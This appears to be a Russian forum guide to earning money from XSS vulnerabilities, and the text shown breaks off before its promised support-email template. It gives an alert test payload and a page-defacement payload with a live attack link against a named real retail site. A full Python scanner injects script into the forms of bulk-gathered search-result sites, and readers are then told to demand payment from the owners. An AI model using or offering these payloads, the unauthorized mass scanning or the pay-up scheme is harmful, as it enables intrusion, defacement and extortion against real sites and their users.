Зарабатываем на XSS уязвимостях!
Всем привет! В этой теме я расскажу вам о вечно актуальном и прибыльном способе заработка.
Для работы вам не понадобится никаких финансовых вложений, только аккаунт на любой почте.Введение
И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.
Алгоритм работы:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость
XSS уязвимость. Поиск. Эксплуатация
XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
<script>alert("XSS")</script>
Для примера возьмём сайт stolplit.ru:
Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.
Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script>
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом
https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=<script>document.body.innerHTML+=+"<H1+style='color:+black;+text-align:+center;'>C+01.05.2024+сайт+перестаёт+работать</H1>";</script>Поиск сайтов с XSS уязвимостью
Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
pip install bs4
4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
5. В файл main.py необходимо вставить код предоставленный ниже
from colorama import init, Fore, Back, Style from bs4 import BeautifulSoup as bs import requests from urllib.parse import urljoin from pprint import pprint import time headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36" } init(autoreset=True) def stop(stop_time): now_time = time.time() if stop_time - now_time <= 0: return True def save(url): file = open("goods.txt", "a") file.write(f"{url}\n") file.close() def scan_xss(url, stop_time, timeout): stop_time = time.time() + stop_time html = requests.get(url, headers=headers, timeout=timeout) soup = bs(html.content, "html.parser") forms = soup.find_all("form") js_script = "<Script>alert('XSS')</scripT>" is_vulnerable = False for form in forms: if stop(stop_time): break details = {} action = form.attrs.get("action") method = form.attrs.get("method", "get") if action != None and not(action.startswith("javascript")): action = action.lower() method = method.lower() else: break inputs = [] for input_tag in form.find_all("input"): input_type = input_tag.attrs.get("type", "text") input_name = input_tag.attrs.get("name") inputs.append({"type": input_type, "name": input_name}) details["action"] = action details["method"] = method details["inputs"] = inputs form_details = details target_url = urljoin(url, form_details["action"]) inputs = form_details["inputs"] data = {} for input in inputs: if input["type"] == "text" or input["type"] == "search": input["value"] = js_script input_name = input.get("name") input_value = input.get("value") if input_name and input_value: data[input_name] = input_value if form_details["method"] == "post": content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1') else: content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1') if js_script in content: save(url) print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:") pprint(form_details) if __name__ == "__main__": urls = open('site.txt', 'r', encoding="UTF-8") for element in urls: url = element.replace("\n", "") print(f"\033[37m{url}") # Максимальное время проверки одного сайта в секундах (не менее 180) stop_time = 180 # Максимальное время ожидания ответа от сайта в секундах (не менее 15) timeout = 20 try: scan_xss(url, 180, 20) except: pass # ваще похуй urls.close()
Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:python main.py
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
Откуда брать сайты?
Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»
После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.
Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.